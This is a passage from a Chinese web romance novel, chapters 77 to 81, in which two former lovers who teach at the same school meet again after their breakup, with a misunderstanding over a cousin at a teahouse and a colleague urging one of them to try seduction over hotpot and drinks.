“走吧。”简越去推电动车,开到她面前,递给她一个头盔,“上来。” “嗯。” 林筝墨掸了掸座位上的雪,坐上去。 黑色大衣摩擦着简越的衣裳,她看着简越的肩膀和头发,忽然生出拥抱的欲望,可还是保持着一段合适的距离。 启动了。 轮胎在雪地碾出一条长印,开出教师公寓大门,要下一个缓坡。 林筝墨顺势伸出手,双肢穿插过简越的腰,轻轻拥着她。 简越微僵,忽然捏了一下刹车,短促的刹停,不自在道:“你抱我干嘛?” “下坡,怕打滑。”说完这句,林筝墨松了手,“刚有点怕,你现在开下来,就不怕了。” 几乎是天衣无缝的借口,简越甚至没有怀疑的理由。 这个拥抱不到三秒,但它填补了林筝墨半年以来最大的缺口,那是一个不停流失的豁口,而这个拥抱则是关闭的阀门,她通过一个拥抱获得了救赎。 简越不语,只是一味地开车,冷风吹起她额前的碎发,街边路灯黄灿灿,她的瞳孔是两颗冷幽幽的玻璃球,看似冷淡,又好像暗涌着什么。 人要如何直面自己的内心? 无法直视却不得不接受的事实:简越幻想有第二个下坡。 她好像也期待这样的拥抱。 虽然她也恨她—— 作者有话说:喔喔~讨厌是理性的,爱是感性的,人是情感动物,爱是矛盾,是冲动,是脱轨和失控吧。 忽略我的碎碎念 晚安 第78章 第七十八章 情敌? 第七十八章 简越的车继续往前开, 但她们之间已经没了第二个缓坡。 林筝墨坐在简越身后,小心翼翼不敢有肢体接触,只是用眼神在拥抱她。 按理说,深冬的夜晚骑电动车, 该很冷才是, 可此时此刻的林筝墨, 觉得自己的身体回了温,手指不再冰冷, 这种温度来自于她与简越的距离。 她透过后视镜看简越, 低声问她:“你冷不冷?” “不冷。” “我想和你说个事。” “你说。” 简越默不作声开着车,等待下文,结果过了好几秒林筝墨都没说话。 “怎么不说?” “算了, 等会儿下车再说吧。” 林筝墨怕车上说了简越听不清,又或者,她想等下车之后再拖延一点时间, 她认自己确实是小偷——专门偷简越的时间。 一路无言,直到车子停在公寓门口, 林筝墨才从车上下来, 站在简越旁边。 “想说关于我妈妈。” 简越非常平静地看她, “嗯,她好些了么?” “好多了。”林筝墨心跳微微加速, 苍白的脸颊染上一点红, “可能你现在不关心这个, 但我想和你分享。我妈她她现在好多了,离开这段时间,她也想通很多事情,现在, 虽然我和她之间还有很多隔阂,但她以后都不会干涉我了。” 言外之意是,她自由了。 简越的心尖好似被小虫蛰了一下,又疼又痒。她不语,只是看着林筝墨,目光沉静,神态淡然,无法窥见喜与乐。 外表看来,可以说是没有反应。 一点点都没有。 林筝墨心想,哪怕有一点点的反应也好,真的一点都不在意了吗。 下意识眼眶泛酸,泪失禁又快发作,可又觉得这样好失态,告诉自己,难道简越不给到反应她就要当场哭出来吗,哭的意义是什么呢?博得同情吗?她已经制造了这么多的麻烦,不能再给简越带来麻烦了。 今天,她能送自己回来,已经很好很好了。 “嗯,我就是想说这个。”林筝墨强撑着,好看的唇抿成一条线,将眼底的泪光眨回去,“你早点回去,路上注意安全。” “好。” 简越居然也没有对这个问题进行延伸,她是一个冷静的聆听者,不发表任何观点。在林筝墨让她注意安全的时候,果断开车离开,没有任何留念。 倒是林筝墨目送她,目送她,直到她的身影消失得无影无踪 简越走后,林筝墨一个人回公寓,楼道变得森冷、幽暗。分明廊道里有灯,灯光是暖色系的,可身体就是感到一阵寒冷。 她回到家,开门,把自己扔进沙发里,陷落在柔软的靠枕,整日的疲惫袭上心头。 叹气。 对着天花板发出有气无力的“哎~”。 哎~ 今年的冬天好冷,漫长。 得不到那个人的爱和垂怜,自己好像又变成了一具冰冷的死尸,其实也不想这样,可除了会呼吸会心跳,这样的状态和死人有什么差别呢。 太痛苦了。 林筝墨闭上眼,纤细的手搭在眼睛上,透过指缝看到天花板吊灯上溜出的光,美妙的光晕在她的眼里变成了虚幻的简越的模样。 她想念她。 想念先前的在车上的那一刻,双肢拥抱简越的那一瞬间,大衣上的味道,头发细丝摩擦的触感……很多很多。 就这么躺了十分钟。 叮咚—— 手机忽然响了一下。 林筝墨翻身来看,是一条好友通过申请。 是简越!! 她迅速支起身来,淡寂的目光填满色彩,昏暗的世界里投入一点光。 屏幕消息弹出简越的消息:【我到了。】 林筝墨内心激荡,打下一句:【这么快。】——删掉了,编辑为:【收到,谢谢你送我,早点休息。】 咻。 发送消息。 红色感叹号。??? 简越又把她拉黑了! “啊——”林筝墨再次倒在沙发上,眉头拧紧了,以为对方有丝毫动摇,没想到一秒打回原形。 经过今晚,她还以为她们之间的关系有一点点缓解,是她的错觉。简越没有消气,也不打算搭理她,简越的客气只是一种体面,这种冷静反而让林筝墨感到慌张,她好像掉入了万劫不复的深渊,没有前行的方向了。 原来被人拉黑是这种感觉,她拉黑她半年,现在这样也是自己活该。 好难过,可是转念一想,她不冤,仔细一琢磨,甚至觉得简越对她算温柔了。 算了吧。 还是那句话,罗马不是一天建成的。 * 之后几日,林筝墨就一个人待在家里。她开始给家里添置东西,无聊时打扫房间。由于她喜好整洁,加上稍微有一点点强迫症,所以家里的东西一定是要整齐,要把所有东西都细致清理一遍,又一一摆放整齐,这就很耗费时间。 不过,琐碎家务成功转移了她的注意力,有时候干活干累了,也不至于那么难过。 也是快三十岁的人了,不管怎样也是要照顾好自己的。 某天下午,正在擦钢琴,忽接到张老师电话。 “在干嘛呢。” “在打扫卫生。” “出来玩。”张老师在电话里笑:“接到消息说你要回来上班啦?” “嗯。” “出来玩出来玩,今天天气这么好,我请你喝茶。” 林筝墨转身往阳台的方向看,居然瞥见了一点阳光。人就是那么奇怪,心情不好的时候对天气也不关注。 “好。” 她扔下抹布,随便换了套衣服去见张老师,冬天的太阳确实稀贵,但毕竟是冬天,还是冷的。林筝墨穿的是卡其色及膝大衣,她人纤瘦,中等身高,这种基础款大衣反而很显气质。 外面太阳的温度有点像白炽灯,照在皮肤上只有一点点热量,阳光令她的脸颊苍白美丽,她坐上计程车,在微信上和张老师发消息。 【别老是你请了,我请。】 【都可以。】张老师倒也干脆:【有什么面对面说,打字麻烦。】 她们约在一家当地很出名的茶馆,女男老少都来这里喝茶,矮凳矮桌,大部分年轻人居多。太阳出来了,大家都出来喝茶,像办什么喜事似的,挤挤攘攘,人满为患。林筝墨在人群中找到张老师,两人对视,张老师招呼她过去。 “来了呀来了呀。”张老师替她沏茶,“快坐快坐。” 几日不见,张老师去做了个头发,最近还开始保养皮肤,对比起去年是要年轻太多。 “喝这个绿茶,绿茶好喝。”张老师端一小杯放林筝墨面前,含笑道:“哎呀,哎呀~” 千言万语汇在这句“哎呀”里面,林筝墨被她“哎呀”得不好意思,连忙端起茶杯抿了一口。 “所以上班的事是定下来了吧?”张老师凑近了问,眸子里满是欣慰。 “嗯。”林筝墨点点头,“沈校长让我直接回去。” “也好也好,之前也教得好,没什么问题。”张老师明显不是要问这个,茶也喝了两口,兜兜转转又回来:“所以你俩怎么样?” “不怎么样。”林筝墨如实回答。 “你不找她呀?” “有找过一次。”没说细节,只是很委婉地说:“我不能突然出现,又去打搅她的生活。想的是上岗之后,我们接触会比较多一些,慢慢尝试一下,她会不会更能接受一点?” 这是林筝墨的判断,她在人际关系上向来不是激进派,加上她十分珍惜简越,不敢莽撞行事,所以走的每一步都很小心。 张老师居然也能懂,“嗯小简这性格确实也是,急不得。”老人家感慨:“像你们俩这种情况,真还得花点时间,哪是十天半个月能好的。” “嗯。”林筝墨不否认,“所以慢慢来。” 正聊着,林筝墨忽然在人群中瞥见一道身影,定睛一看,在张老师身后大约十米的地方,有一张桌,居然是简越和另一个女人坐在一起。 怎么个事,喝个茶也能遇见。 那女人一下子就抓取了林筝墨的注意力。 看起来比简越大一点,三十多岁?还是四十多岁?不知道。不过挺显年轻的,应该三十多吧。女人五官立体,高冷气质,相貌出众,绝对是姐姐的存在。 林筝墨目光失焦了。 她……是谁? 张老师跟着望过去,“哎哟妈呀是小简呢。”下一秒感慨:“天哟,她和大美女喝茶呢。” 确实美,那种睥睨众生的美丽,气场很难让人忽略。 “但你也好看。”张老师话峰一转,实话实说:“你其实更好看。” 好看。 好看又不能当饭吃,美貌的优势也没大到这个地步,她发现简越在认真听对方说话。 “嗯……”林筝墨心不在焉的,眼睛时不时往那边看。 女人和简越正说着什么,说着说着忽然有了情绪,见简越抽了一张纸递给她,下一秒,女人忽然握住了简越的手。 林筝墨脑袋轰的一下,一些乱七八糟的想法涌入脑袋。 她是谁? 她想起简越确实有个前任,那个大学老师?比她大一些?年龄和气质好像也对得上。 “诶小林你干嘛?”张老师见林筝墨已经起身。 “我——”林筝墨脑袋发热,她真的想过去问个明白,可她什么身份,“我——” “你先坐下。”张老师拉她一把,“慌啥呢,她还能被拐了?” 林筝墨心里没底,“我不知道。” “她要真的和那女的有啥,你过去也没辙。”张老师明白人,她觉得简越不会的,“咱们先观察观察呗。” 林筝墨坐下,眼睛往那边盯死了,心头焦急。 一瞬间,一股强烈的翻涌的不受控制的酸涩涌上心头。 所有淡定和冷静都是装的。 她快疯了。 第79章 第七十九章 床上搞事的同事 第七十九章 林筝墨目不转睛看那方向。 那女人握着简越的手, 简越非但没有挪开,反而回握了她。阳光下,两个女人的手交握在一起,如同一记重重的拳头锤击在林筝墨的心上。 她觉得天空碎了, 茶杯碎了, 她自己也变成了一地的碎片。 耳边, 张老师嘀咕嘀咕说着什么。 林筝墨却什么都听不见,她回忆起一个瞬间, 简越谈起自己的前任:是她的初恋, 大学老师,她们互相欣赏,只是后来老师结了婚。 很难不脑补。 脑补出一个关于:我分手了, 我的老师也离了婚,我们破镜重圆的戏码。 “小林小林,喂~”张老师的手在林筝墨眼前晃, “想啥呢?” 林筝墨收回目光,压下心头的不适, 忽然觉得头顶的阳光很刺眼。 掌心开始冒冷汗, 她现在很痛苦, 可这种情绪释放给她人,会让她又痛苦又尴尬。 张老师见她脸色不对, “你不舒服是不是?” “嗯, 我去趟卫生间。”林筝墨退位起身。 “我陪你吧。”张老师也跟着起来。 “不用了, 我马上就回来。”林筝墨婉拒,只想逃,至于逃到哪里,她也不知道, 最好是人少一点的地方。 她穿梭人群,一张又一张的凳子,穿过欢声笑语,可她的世界没有半点笑声。空气很稀薄,接近窒息,阳光并不温暖,有什么冰冷的东西渗进她的身体里,她几乎马上要落泪了…… * “没事的,妹。”简越握着表妹的手,“投资失败就失败了,钱没了还可以再赚。” “姐,你都不知道那是多少钱!”赵矜矜一想到自己这些年赚的钱都丢进狼窝,心口都在疼,“那我有多喜欢钱你又不是不知道,恋爱可以不谈,但钱不能没有!” 赵矜矜是赵筱筱的亲姐,矜矜比筱筱大十二岁,但她年龄比简越小。 不过,有点玄乎的是,赵矜矜五官冷肃,自带一种高冷气场,加上走成熟女人风格,所以时常给人一种错觉:她比简越年长。 她在国外工作,一年回家一趟,这是回来的第二天。 简越拍拍她的手,“没事没事,我还是那句话,钱可以再挣,心情不好那亏大了。” 赵矜矜苦中作乐,擤着鼻子苦笑:“也没办法了,不投资失败也回不来,算了,回来透透气,家里也挺好的。” “以后理财要谨慎,别莽。”简越叹气,确实是不少钱呢,不过矜矜的工作能力不错,赚回来也只是时间问题。 聊正欢,简越身后忽然蹦出一个孙悟空来。 张·悟空。 “好巧啊!”张老师一巴掌拍在简越椅子上,“也出来喝茶呢?” 简越转身,惊讶地看着眼前人,“诶?您怎么在这里?” 张老师先是大致瞅了瞅赵矜矜,哦,近的没有远的好看,远看要成熟些,五官不及林筝墨的一半,但美女还是美女,怪顺眼的。 “我来喝茶啊。”张老师似笑非笑,笑不进眼底。 她发现简越居然还和这女生握着手。 还握着呢! 电锯呢!锯她! 张老师瞬间对简越产生了怀疑,难道简越之前的伤心是假的?装的?难道现在已经有了新的约会对象?这说不通啊,小简也不像这样的人啊。 还是说小简特会装? “噢,这样啊。”简越愣了一下,手从矜矜掌心抽离出来,介绍道:“我和表妹来喝茶。”又与矜矜介绍:“这是我们办公室的历史老师,张老师。” 赵矜矜拭了泪,甜里甜气说:“张老师好。” 她这一声张老师,直接将她的年龄拉低了至少五岁。嚯,原来是一个裹着高冷外表的甜妹,这张脸真会骗人! 一听是表妹,张老师瞬间笑逐颜开,“你好你好!刚刚我在那边看你们好久了,早前就要来给你们打招呼嘞。”末了,张老师忽然凑简越耳边说:“我和小林一起来的。” 小林。 简越的身体忽然变得僵直,那是一种下意识的反应。 “但她气哭了。”张老师皮笑肉不笑,贴着简越耳朵低语:“看到你和别人在约会,到厕所哭去了。” 简越:“?” 张老师拍拍简越肩膀,朗声说:“你们慢慢聊,我过去了。” 渲染气氛张老师在行,夸张手法是张老师惯用之一。某种意义上来说,张老师是老年版的赵筱筱。 简越一脸狐疑看着张老师离开,转身看见赵矜矜的脸,上面写着荒谬的“约会对象”四个字。 呃。 天地良心。 荒谬极了。 “怎么了姐?” “没事。”简越端起杯子抿了一口茶,觉得茶味很淡,她的心思已经没法落在矜矜身上。 “喔,姐你上厕所吗?”赵矜矜喝了不少茶水,泄意渐浓。 “不上。” “好。” 她拿了包卫生纸,刚要起身,简越忽然改口:“上。” 赵矜矜:“啊?” “我不上,我陪你吧。”简越跟着她起身,俩人往卫生间的方向走,没走两步,简越又说:“等会儿如果遇到我另一个同事,你别叫我姐。” “为啥?”赵矜矜迷惑,“那我叫你什么?” “什么都不用叫,你可以不说话。” 赵矜矜虽不懂背后逻辑,但向来听简越的话,“好,那我只上厕所,什么都不说。” 简越神思游离,林筝墨真的在哭吗?不至于吧,张老师会不会在乱说? 简越对这件事没把握,但她确实不受控制跟着过来,一直到厕所门口,赵矜矜先进去了,简越站在门口观察。 来上厕所的人很多,简越觉得林筝墨不会在这里,第六感。 她环顾四周,发现厕所背后有一片人工竹林,只是供观赏用。一种直觉,按照林筝墨的性格,要发泄情绪肯定不会在人群攘攘的地方,比如厕所不可能,更倾向于安静的地方。 于是简越朝那片竹林走去 约莫二十米的距离,走近了发现,里面有个男人在抽烂烟,却不见林筝墨身影。简越刚想走,听闻隔壁角落有低低的啜泣声,那声音很低,很小,在喝茶人的笑语中微不足道,可以说淹没得干干净净。 但简越捕捉到了。 是林筝墨在哭。 那是另一块小竹林,是更加隐秘的存在。简越透过竹叶的缝隙往里看,瞥见一道身影。 卡其色长款风衣立在阳光下,单薄的背影那般凄清,她的肩膀微微颤抖,连带着黑色头发也在哭泣。第一次觉得有的人的背影就是碎片,那种浓烈的,厚重的情绪,有可能表现出来只是低低的哭声,间或从喉咙里挤压出来,但所有的情绪都被加工过了。 简越驻在原地,心里非常不是滋味。 那些罪恶的,怨恨的情绪同时袭上心头,犹如两只手左右撕扯着她。凭空从地里忽然伸出来的藤蔓,紧紧缠绕,令她拥有同样窒息的感觉。 她很想靠近林筝墨,也许魂魄已经飘过去了,但人依旧还是站在这里。 阳光依旧稀薄,只是淡淡的一层涂抹在脸上,冬天的太阳像是假的。 踌躇在爱与恨之间,最终却没有挪动步伐,只是看完了整场哭泣,直到林筝墨有拭泪的动作,她才默不作声离开,转身往厕所的方向走,好似一切没发生过。 正逢刚洗完手的赵矜矜从厕所出来,“排了好久,人好多。” “走吧。”简越没有太大交流的欲望。 赵矜矜察觉到简越情绪的变化,“你怎么了?” “没。” “你眼睛好红。” “好像感冒了。”简越故意润了润喉咙,发出浑浊的像是咳嗽的声音。 “吃点阿莫西林啊。”赵矜矜过来挽她,靠在简越肩膀上,两人肩并肩往前走。 这是非常常见的女生挽女生的动作,加上赵矜矜没出国前,她们三姐妹都是一起长大的,情感浓厚,再正常不过了。 简越早已适应这种姿态,相当自然。 “姐,晚上想吃火锅。” “吃,我请。” “筱筱作业写完了吧?等会儿把她叫出来。” 简越耸鼻尖,无奈:“她最近好调皮的。”一想到捆绑事件,简越气不打一处来,“也行,把她叫出来,正好有事情要和她结算。” 赵矜矜笑,“她又惹你啦?等会儿我发消息给她。” 刚走一段路,赵矜矜目光一斜,这一斜不要紧,眼神忽然定格在一处,眼冒金光,她咬着牙低声说: “美女美女美女美女美女”一边说一边掐简越胳膊,掐得简越生疼,嗓子压得好低:“好漂亮好漂亮好漂亮我真不行了” 不愧是姐妹。 赵矜矜和赵筱筱见到林筝墨的反应都好像。 难道这就是基因里自带的审美? 简越眼神轻轻飘过去,又轻轻收回来。 嗯。 美女。 我前女友。 赵矜矜依旧低声说:“你以后谈恋爱就找这样的,求你了。” “不。”简越板着脸说。 “你看一眼呀,你到底有没有看清啊。”赵矜矜咬牙切齿又要申辩。 “别说话。”简越坦言:“她是我同事。” 同事! 赵矜矜瞬间噤声,再往前走十米就能到林筝墨身边。 可简越只是直视前方,目光不往旁边稍斜哪怕一点,全然把林筝墨当做空气的存在。 这让赵矜矜非常迷惑,不是同事吗?怎么都招呼都不打。 直到越来越近,感受到林筝墨的目光,简越也只是往前走,没有要招呼的意思。 就快擦肩而过的瞬间,忽然听到有人说: “简主任。” “等一下。” 赵矜矜:!!! 美女打招呼!! 林筝墨喉咙滑动了一下,哑着嗓子说:“简主任,可以耽误你几分钟聊聊吗。” 简越刚想拒绝。 旁边赵矜矜忽然探出脑袋,虽然被禁言但还是没忍住,“可以啊,要一起喝茶吗?” 简越:“?” 让她别说话,她现在邀请别人喝茶。 她是不是有病。 林筝墨愣了一下,似乎对赵矜矜的声线很意外,而且近看发现,好像其实和简越差不多的年纪。加上对方忽然邀请喝茶,看起来又很热情,她忽然不确定她们的关系了。 “要一起喝茶吗?”赵矜矜蠢蠢欲动极了,又加了句:“可以坐着聊。” 简越有种强烈的挫败感,计划失败。 赵矜矜和赵筱筱是一路货色,这俩人就是脱缰的野马,根本不受控制,你让她往东,她必然往西。 “我喝茶不喝茶都可以,不知道简主任”林筝墨见简越一直没说话,倒是脸青一阵白一阵的。 “你先过去。”简越对赵矜矜说,“我和她说几句话就过来。” 说完冷冷刀了赵矜矜一眼。 赵矜矜后背发凉,意识到什么,“嗯好吧。” 什么眼神呐。 不是同事吗。 以赵矜矜对简越的了解,她这么好相处的人,和同事打招呼也不至于脸臭成这样。 怪怪的。 但又说不上哪里怪。 赵矜矜往前走了几步,忽然一股金光在颅内闪烁。 同事? 不会是在床上搞事的同事吧? 第80章 第八十章 色诱? 第八十章 赵矜矜常年生活在国外, 她本有几分姿色,不少女人喜欢她,没吃过猪肉还没见过猪跑吗,这女人之间的纠葛, 她最清楚不过了。 要不是专心搞钱, 赵矜矜指不定谈个女孩儿呢, 她虽然没谈恋爱的想法,但喜欢看漂亮女人。 呃 家族遗传罢了。 她家的空气里弥漫着女同性恋迷药。 手机上与妹妹发消息: 【你作业做完了吗?】 【抄完了。】 【晚上出来吃火锅。】 【嗻。】赵筱筱下一句:【妈说你和姐出去喝茶了?】 【对, 她请客。】 【那我多穿条棉裤, 免得她打我屁股。】 【你又怎么惹她了?】 赵筱筱正在输入中输入了好久,弹出一句:【姐之前不是谈了个女朋友分了吗,我在为她们破镜重圆冲锋陷阵呢。】 哦。 赵矜矜很早以前便知道简越喜欢女人, 准确来说,她是第一个知道简越和大学老师谈恋爱的人。 至于简越后来谈的这个,是听赵筱筱说的。 矜矜:【是和她同事谈的吗?】 筱筱:【是啊, 我不是和你说过吗?】 赵矜矜真忘了,她那段时间忙, 忙着被骗钱。加上妹妹的话百分之九十都是放屁, 权当放屁。 矜矜:【是不是长得有点好看?】 筱筱:【服了, 岂止好看,你都不知道有多漂亮!她是我的英语老师!她是这个世界上, 唯一和姐般配的人!】 嘶。 赵矜矜忽然来了兴趣。 矜矜:【脸挺小, 白皮肤, 黑长直,冷系,瘦,鼻子特别好看, 说话温温柔柔的,纤柔斯文,比姐只矮一点点?】 筱筱:【你是神仙吗!】 赵矜矜没想到自己这般料事如神。 还 真 是 床 友 啊! 矜矜:【你可以出门了,运气好的话,等会儿能见到你的英语老师。】 筱筱:【真?】 矜矜:【真。】 筱筱:【我将立马乘火箭来见您!】 * 简越其实大概知道林筝墨要说什么,但假装不知。 “找我有事?” 林筝墨很想知道那女生是谁,又觉得质问不妥,寻思着不然先掰扯几句工作上的事,但工作上是真没事儿!她都还没入职呢! “干嘛不说话。”简越明知故问,“然后又一直看着我。” 林筝墨刚哭过,眼眶泛红,一脸无措看着简越,她这模样倒是显得楚楚可怜了,像一只被雨淋湿的小兔子,无家可归,有口难开。 “没事就先走了。” “她是谁?”林筝墨拉着简越衣袖,但也只是轻轻揪着,“你在和她约会吗?” 憋不住。 根本憋不住。 林筝墨眼底的在意很明显。 这种迫切与焦灼,反而令简越感到一阵舒坦。 “重要吗?”语气却还是强硬的。 “所以是谁?” “你以什么立场问我?”简越微微凝目,与她相视,“好像我们顶多也只能算同事?” 声线冰冷,三言两语就把林筝墨推开了。 “我知道我知道我没资格。”林筝墨双唇紧抿,眼眶泛着湿,在绝望中求饶:“但我受不了了,你告诉我吧。” 如果你真的在和别人约会,那给个痛快吧。 即便林筝墨知道自己没有追问的理由,若是简越真的要寻求她的幸福,她也只能接受,但这种感觉是锥心的痛。 而简越也意识到,如果真的要报复林筝墨,现在是最佳时机。 如果她想让林筝墨难过,大可说一句“那是我女朋友”,然后林筝墨就会再次决堤,再度崩溃。 可是简越做不到。 她发现自己的悲伤并不能通过林筝墨的悲伤来抵消,林筝墨伤心,她也会难过。 她虽恨她,却害怕她也悲伤,这是一种披着面纱的怨恨。 “是我家里人。”简越狠不下心,却依旧带着冷腔:“要干嘛。” 林筝墨悬着的心终于放下,积压在心底的迷雾瞬间散开。 好险,只是家里人。 “没事。” “哭什么?” 林筝墨:“我没哭。” “可是你眼睛很红。” “我感冒了。”林筝墨挪开眼,不自在到只能看地面。 简越觉得很好笑,为什么连借口都和自己一模一样,哭了就哭了,偏要说感冒了,全都是感冒了。 “没什么事我过去了。”简越转身欲走。 林筝墨叫住她:“等一下,晚上有空一起吃个饭吗?” 不管答应不答应,约一下吧。 简越回过头看她,带着一点明知故问:“又干嘛?” “吃个饭,聊聊天?”林筝墨倒也直接。 “和前女友有什么好聊的?” 前女友。 前女友。 一句话怼得林筝墨脸颊一阵红一阵白,她脸皮子实在薄,鲜有人拒绝她。若是从前,话说到这份上,她一定不强人所难了,但这是简越。 面子什么的也没那么重要,既已厚脸皮,就再厚脸皮些。 “是前女友也是同事,以后在学校我们还是要见面的吧。”林筝墨耐着性子说:“没别的意思,只是有家餐厅很好吃,想邀请你尝尝。” “今晚没空。”简越婉拒,目光却黏在林筝墨脸上,眼丝断断续续。 “那有空再约。” 她也没期待简越会答应,只是留下一个饵。她不想简越立马离开,趁机话题跳到另一个:“昨天你给我发消息的时候,我有回复。” “哦。” “但是没来得及发出去。”林筝墨故意补了句:“就看到红色感叹号。” 简越以为林筝墨是指责她,刚要说话。 结果林筝墨又快她一步:“那瞬间我觉得你做得很对,我现在也知道被拉黑是什么感觉了,以前实在不应该,一点也没考虑到你的感受,对不起,我给你道歉。” 世界上哪里去找这样标准的答案。 言辞诚恳,找到问题,复盘自己,主动道歉。 逻辑完美到让简越没法生气,特别是这样的语气,又是这样一张令人无法抵抗的脸。 再生气也得活活咽下了。 罢了罢了。 和美女说话总得吃点瘪。 林筝墨:“所以请你吃饭好不好。” 简越:“0.0” 林筝墨:“简主任” 带着一点乞求的语气,简主任三个字,以前她们在床上会说,林筝墨在情迷意乱的时候会这样叫她,抓着她的手这样叫她,那是一种私密的挑逗,是她们之间的暗语,现在拿到台面上来说,还在这样正经的场合,很难不怀疑林筝墨是故意,可她的表情又没有一丝破绽。 简越思绪有点飘空,遥想到一些画面。 “不吃。”简越及时摁刹车,“我妹在等我。” 在林筝墨要进行下一次攻略时快速逃离 * 张老师坐在小椅子上打手机麻将,见林筝墨回来,笑着睨她一眼,“去这么久?” “遇到她,说了两句。” “喔,我都帮你问过了,那是她表妹!”张老师把手机放一边,任由语音播放幺鸡二条,置之不理。 林筝墨朝简越的方向看去,她还在和表妹聊天,只是兴致不高,有些游神的模样。 “那你们说啥了?” “我约她吃饭,她不吃,我加她好友,她不加。” “那你觉得她想和你说话吗?”张老师做出基本判断:“不吃饭不加好友,能理解,主要是看她对你的态度。” 林筝墨实话实说:“她倒是没对我摆臭脸。”——简越就不是那样的人。 又说:“一直都是礼貌中带着一点冷漠,不过我问的问题都会回复,好像也没有不想理我。” 张老师挤眉弄眼:“那有戏。” 林筝墨觉得也有争取的空间,但没有眉目:“可是她一直拒绝我诶。” “那是一定的嘛,小林,她要真的接受你的邀请,你们还能叫前任吗?” 林筝墨颔首,苦恼道:“只是一直止步不前,我还挺想和她接触的。” “大妹子,那是因为你太讲逻辑!”张老师一针见血:“说白了,就是太老实,她说一,你不二。姐要是你,整点小心思怎么了?” 林筝墨云里雾里。 “什么意思?” 张老师食指点点太阳穴,“动动脑筋。” 林筝墨失神,动脑筋,她动得不能再动了。 “这么漂亮的脸,怎么就不知道上武器呢。” 暗示得已经很明显,饶使林筝墨再木讷,也知道张老师是什么意思了。 搞色诱那一套? 不好吧。 过火了怎么办? 林筝墨可不敢尝试,她不确定现在这样的关系合不合适。 “你今晚就喝几杯酒去敲她门,你看她管不管你!” “不合适,我也不太会。”林筝墨汗颜,这一套她是真不会。 “那我以前还不会打麻将呢,你看我现在清一色自摸不自摸!” 老人家火候还是猛,按她这么操作的话菜都得糊了,林筝墨犹犹豫豫,不敢执行。 张老师继续添柴:“我看你们俩这情况,瞎等待还是不行。你要豁得出去,豁出去,豁,懂吗?你不能等她约你,你也不要这样老实巴交的约她。” “我”林筝墨思考再三,明明被张老师煽动得蠢蠢欲动,却想起来也觉得有点尴尬,超级腼腆地说:“我考虑一下吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 第八十一章 搞,搞,搞,搞 第八十一章 张老师一番话简直是打通了林筝墨的任督二脉。 色诱。 虽不是什么体面之计, 但那又怎样呢? 林筝墨想起以前在网络上和简越谈恋爱的时候,她给简越发的那些照片,简越好像一直都很喜欢。 况且,睡过那么多次, 简越最喜欢什么, 林筝墨真是再清楚不过了。 “不过看你想怎么办。”张老师啜了一口茶, 往隔壁桌看去,“咦?人嘞?” 转眼发现简越和她表妹不知道什么时候已经走了。 瞅时间, 已是五点半。 冬天容易黑得快, 一过五点就会迅速遁入黑夜,见天黯下来,林筝墨寻思着请张老师吃个晚饭。 问吃什么, 张老师说随意。 林筝墨便拿出手机查看某众点评,某家汤锅店评分不错。 “潮汕牛肉汤锅吃不吃?” 正中下怀,张老师颔首, “有点冷了,热乎热乎。” 结账离开, 太阳早已下山, 夜幕降临, 天空深蓝,蓝得有些深沉, 像一块反复沾了颜料的布, 洗也洗不净, 雪好像又要下了,空气冷涩带点湿。 所去的是中心街,南城是一线城市,吃的方面五花八门, 夜晚街市很有氛围感,市中心灯火通明,霓虹惹眼。 夜食街,清一色都是暖烘烘的灯,商户门前摆放着几排凳子,一桌自助茶水,服务生则在叫号。 林筝墨到的时候,前面还有三桌。她与张老师随意找凳子坐下,俩人闲来无事,便随意聊聊天。 张老师坐下便开始低语:“我其实一直还挺好奇一事儿的。” “什么事?” “你和小简之前是怎么谈上的?” 林筝墨不忌讳:“网恋。” “啊?”张老师稍稍后仰,镜片底下一双眼闪烁着惊愕,“真的假的?这上网的人那么多,你们都能谈上?” 林筝墨早就这么觉得,她与简越相恋的概率是万分之零点零一,可关于命运,没有概率学可言。 在过去的人生中,从未设想过,有个人会这样照进她的生命里,成为不可替代的存在。 “先在网上谈,见面才知道是同事吗?” “是。”回忆起上半年的事,依稀觉得十分遥远,“但她比我先知道。” 林筝墨忽然好奇,那时候简越是什么心情呢?那时候的简越有没有焦灼过,犹豫过。 思索着,她俩号到了,林筝墨与张老师准备吃饭,店里喧闹,接地气是真的。有时候端得高高在上的美食也没那么好吃,吃东西嘛,主要讲究的还是一个味道。 一小桌坐下。 “姐,扫码点就好。” “得嘞。” 张老师在下单界面往下滑,酒水栏目直接点了一瓶小白酒,又问林筝墨:“喝点儿吗?” 林筝墨在看团购套餐,没留意这句话什么意思,以为张老师问的是喝不喝点小饮料。 “喝。” “替你加上。” “我们吃个二人餐吧?”林筝墨说。 “没问题啊。”张老师笑,又加了几瓶啤酒,下单。 咕嘟咕嘟。 清汤锅冒着透明的小泡泡。 林筝墨盯着里面的白萝卜和玉米发呆,思绪间或游离,游离,游离到简越那里。 她又想她了。 这种思念如影随形,时刻徘徊在林筝墨的脑袋里,像是空气进入鼻腔那么自然,那么难以自控。 服务生端来青菜和牛肉,顺带将啤酒和白酒搁桌上。 林筝墨回神,望向张老师,有些意外:“喝点儿是喝酒的意思吗?” 张老师平日是喝酒的,按照她老人家的话来说就是,小酌一杯,长命百岁,有时候一个人在家也喝上那么两口,哼点小曲儿,悠然自得。 “喝啊,喝点酒助助兴。”张老师拧开白酒盖子,“我喝白的,你喝啤的,能喝多少喝多少,不强求。” 林筝墨没有喝酒的习惯,从小到大喝酒的次数两只手都数得出来。 对于不喝酒的人来说,只有气氛到了,或者心情到了,才会碰这个东西。 气氛一般,但心情算一半吧。惆怅无处消解,不如真的来一杯。 “可以喝。” 张老师与她斟杯,两人决定空腹先来一杯,林筝墨喝的雪花啤酒,张老师喝江小白。 “说点啥呢。”张老师酒杯悬在半空,“还是恭喜你回来教书吧,恭喜恭喜,以后咱俩当一辈子同事!再也不辞职了好不好!” “好。”林筝墨弯唇笑,想起种种,眼眶忽然一酸,“当一辈子同事。” 啤酒微微涩口,林筝墨一直不知道喜欢喝酒的人是什么心理,但气泡在喉间炸裂的瞬间,那种苦涩的味道反而消解了心中的烦闷,难道这就是负负得正? 于是又喝了一口,一口接一口,直到整杯入肚,喉咙开始火辣辣,太阳穴变得膨胀,仿佛血液里有火苗在燃烧。 “慢点儿喝,咱不急。”张老师见她喝得猛,连忙替她夹菜,“这个牛肉二十秒就可以吃了,你尝尝。” 林筝墨慢条斯理吃起来,但她小鸟胃,食欲乏乏,先前那杯勾得她酒精欲望爆棚,只顾着盯着酒瓶发呆。 “是不是还想喝?”张老师笑着问她。 